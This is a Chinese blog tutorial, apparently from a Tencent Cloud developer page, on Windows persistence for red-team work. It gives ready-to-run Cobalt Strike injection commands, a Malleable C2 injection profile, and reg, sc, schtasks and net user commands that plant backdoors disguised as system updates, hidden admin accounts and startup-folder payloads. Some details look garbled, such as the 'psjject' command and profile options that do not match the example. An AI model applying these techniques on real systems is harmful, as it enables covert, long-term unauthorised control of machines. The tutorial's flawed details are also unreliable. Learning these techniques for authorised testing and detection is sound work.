在渗透测试或红队演练中,拿下目标系统的初始访问权限只是第一步。如何长期稳定地控制目标,并在管理员修复漏洞、重启系统后依然能重新获得访问,这便是权限维持(Persistence)的核心任务。本文将深入剖析 Windows 环境下常用的权限维持技术,涵盖进程迁移、注册表自启动、服务自启、定时任务、隐蔽账号及启动目录,并结合 Cobalt Strike 的实际操作与插件,帮助你在授权评估中构建隐蔽且可靠的持久化后门。


1. 进程迁移

1.1 什么是进程迁移

进程迁移是指将当前 Beacon 或 Meterpreter 等 payload 的 shellcode 注入到另一个稳定的系统进程中运行。例如,从一个容易关闭的浏览器进程迁移到 explorer.exe 或 svchost.exe 中。

1.2 使用进程迁移的目的

  • 避免被杀:当前进程(如 Office 进程)可能被用户关闭,或被 EDR 标记。

  • 隐藏通信:注入到合法进程可混淆网络连接,降低检测概率。

  • 提升稳定性:系统关键进程长期运行,不会轻易终止。

1.3 使用进程迁移的场景

  • 初始会话在短暂进程中(如漏洞利用程序、钓鱼文档进程)。

  • 需要跨用户会话维持访问(如从低权限进程注入到高权限进程)。

  • 对抗进程检测类安全软件。

1.4 Cobalt Strike 中的进程迁移

Cobalt Strike 提供了多种进程注入命令,均可通过 Beacon 控制台执行。

1.4.1 inject

手动选择目标进程并注入完整 Beacon payload。

beacon> inject <pid> <x86|x64> <listener>

例如:

beacon> inject 1234 x64 https

该命令会向 PID 为 1234 的进程注入一个完整的 Beacon payload,使用指定的 HTTPS 监听器。

1.4.2 psjject

通过 PowerShell 远程注入,常用于在未建立 C2 信道前进行跳板。

beacon> psjject <pid> <arch> <listener>

该命令利用 PowerShell 在远程进程中执行反射加载,比传统 inject 更灵活,但可能触发 PowerShell 监控。

1.4.3 shinject

直接注入自定义 shellcode(raw 格式),而不依赖 Cobalt Strike 的 listener。

beacon> shinject <pid> <arch> </path/to/shellcode.bin>

适合注入自定义 payload(如 Meterpreter、C2 混淆 shellcode)。

1.5 cs 进程注入的 profile

Cobalt Strike 的 Malleable C2 profile 文件可以定制进程注入行为,以躲避检测。关键配置项包括:

  • set inject_allocate_method:内存分配方式(VirtualAllocEx 或 NtMapViewOfSection)。

  • set inject_start_routine:启动方式(RtlUserThreadStartCreateRemoteThread 等)。

  • set execute:注入执行过程(CreateProcessInject 等)。

示例 Profile 片段:

process-inject {
    set allocator "NtMapViewOfSection";
    set min_alloc "16384";
    set startrwx "false";
    set userwx "false";
    transform-x64 {
        prepend "\x90\x90";
    }
    execute {
        CreateProcess "rundll32.exe";
        CreateThread "kernel32.dll";
    }
}

1.6 BOF 实现的进程注入

BOF(Beacon Object File)是 Cobalt Strike 的扩展机制,可直接在 Beacon 进程中执行 C 编写的代码,避免反射 DLL 加载的痕迹。

1.6.1 StaticSyscallsInject

利用静态系统调用(Syscall)技术绕过用户态钩子,实现隐蔽注入。使用方法:

  • 将 StaticSyscallsInject.cna 脚本加载到 Cobalt Strike。

  • 在 Beacon 中执行:

StaticSyscallsInject <pid> <path_to_raw_shellcode>

该注入器使用直接系统调用分配内存并创建线程,规避 EDR 挂钩。

1.6.2 SyscallsInject

类似 StaticSyscallsInject,但使用动态系统调用(通过 SysWhispers 等技术生成)。通常集成在工具包如 SyscallInjector 中,命令示例:

SyscallsInject 5678 /tmp/beacon.bin


2. 修改注册表实现自启动

Windows 注册表包含多个键值,可在用户登录时自动启动程序。最常用的是当前用户的 Run 键和本地机器的 Run 键。

常见自启动注册表路径

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

添加启动项

使用 reg 命令添加:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\rundll32.exe C:\Users\Public\backdoor.dll,Start" /f

或使用 PowerShell:

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SecurityUpdate" -Value "C:\Windows\System32\rundll32.exe C:\Users\Public\backdoor.dll,Start"

隐蔽技巧

  • 将程序伪装成系统更新、驱动程序名称。

  • 使用 RunOnce 键(重启后仅执行一次)规避某些检测。

  • 将值指向 rundll32.exe 或 regsvr32.exe 加载 DLL,混淆进程链。


3. 注册服务自启

将后门注册为 Windows 服务,可随系统启动以 SYSTEM 权限运行,且不易被用户察觉。

使用 sc 命令创建服务

sc create "WindowsUpdateService" binPath= "C:\Windows\System32\svchost.exe -k netsvcs C:\ProgramData\update.exe" start= auto

注意:binPath 的语法需正确,等号后要有空格。实际的服务程序必须符合服务接口规范(可调用 StartServiceCtrlDispatcher),通常使用现成的后门程序(如 beacon.exe 实现服务模式)。

使用 PowerShell 创建服务

New-Service -Name "WindowsUpdateService" -BinaryPathName "C:\ProgramData\update.exe" -StartupType Automatic

服务启动后执行

若后门不是标准服务,可使用以下技巧:

  • 将服务指向 cmd.exe /c C:\ProgramData\update.exe,并设置服务与桌面交互。

  • 使用 srvany.exe 将任意程序包装为服务(Windows Resource Kit 工具)。


4. 定时任务

Windows 计划任务(schtasks)允许在特定时间或事件触发时执行程序,非常灵活且隐蔽。

创建计划任务(系统启动时运行)

schtasks /create /tn "AdobeFlashUpdate" /tr "C:\ProgramData\flashplayer.exe" /sc onstart /ru SYSTEM
  • /sc onstart:系统启动时触发。

  • /ru SYSTEM:以 SYSTEM 权限运行。

用户登录时触发

schtasks /create /tn "GoogleUpdate" /tr "C:\Users\Public\update.exe" /sc onlogon /ru "%USERNAME%"

每日定时执行

schtasks /create /tn "DailyBackup" /tr "C:\ProgramData\backup.exe" /sc daily /st 09:00

隐蔽技巧

  • 使用合法的任务名称(如 AdobeFlashUpdateGoogleUpdate)。

  • 设置任务隐藏(/rl highest + 注册表隐藏)。

  • 利用事件触发器(如特定日志产生时运行),降低主动扫描风险。


5. 隐蔽账号和启动目录

5.1 创建隐藏账号

普通 net user 命令创建的账号在 net users 中可见。通过注册表可创建真正隐藏的账户。

隐藏账户创建方法
  1. 添加账号(如 backdoor$):

    net user backdoor$ Passw0rd! /add

    账号名以 $ 结尾,net users 不显示,但计算机管理仍可见。

  2. 彻底隐藏(将账号的注册表项导出并克隆到其他位置,删除原账号,再导入):

    • 导出账号的 F 值:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\backdoor$ 和对应 000003E8(示例)键。

    • 删除原账号。

    • 将 F 值对应导入,并修改权限,使管理员无法发现。

⚠️ 此操作需要 SYSTEM 权限,且极易破坏 SAM,建议仅在测试环境练习。

5.2 启动目录

将后门复制到系统或用户的启动文件夹,用户登录时自动执行。

用户启动目录
  • 当前用户:%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

  • 所有用户:%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp

复制文件:

copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"

也可创建快捷方式指向 payload,降低怀疑。


6. 相关 CS 插件

Cobalt Strike 社区和商业版提供了大量插件,可自动化权限维持过程,提升效率。

  • ElevateKit:集成多种提权和权限维持方法,包括 UAC 绕过、服务安装等。

  • BeaconExt:扩展 Beacon 功能,包含进程注入、持久化脚本。

  • Persist:一个流行的持久化插件,支持注册表、启动目录、计划任务等多种方式,可通过 GUI 一键添加。

  • SharpPersist:基于 C# 的持久化工具,可编译为 BOF 或 EXE,在 Beacon 中执行。

  • RemotePersist:利用 WMI 远程添加持久化后门,适合横向移动后的权限维持。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐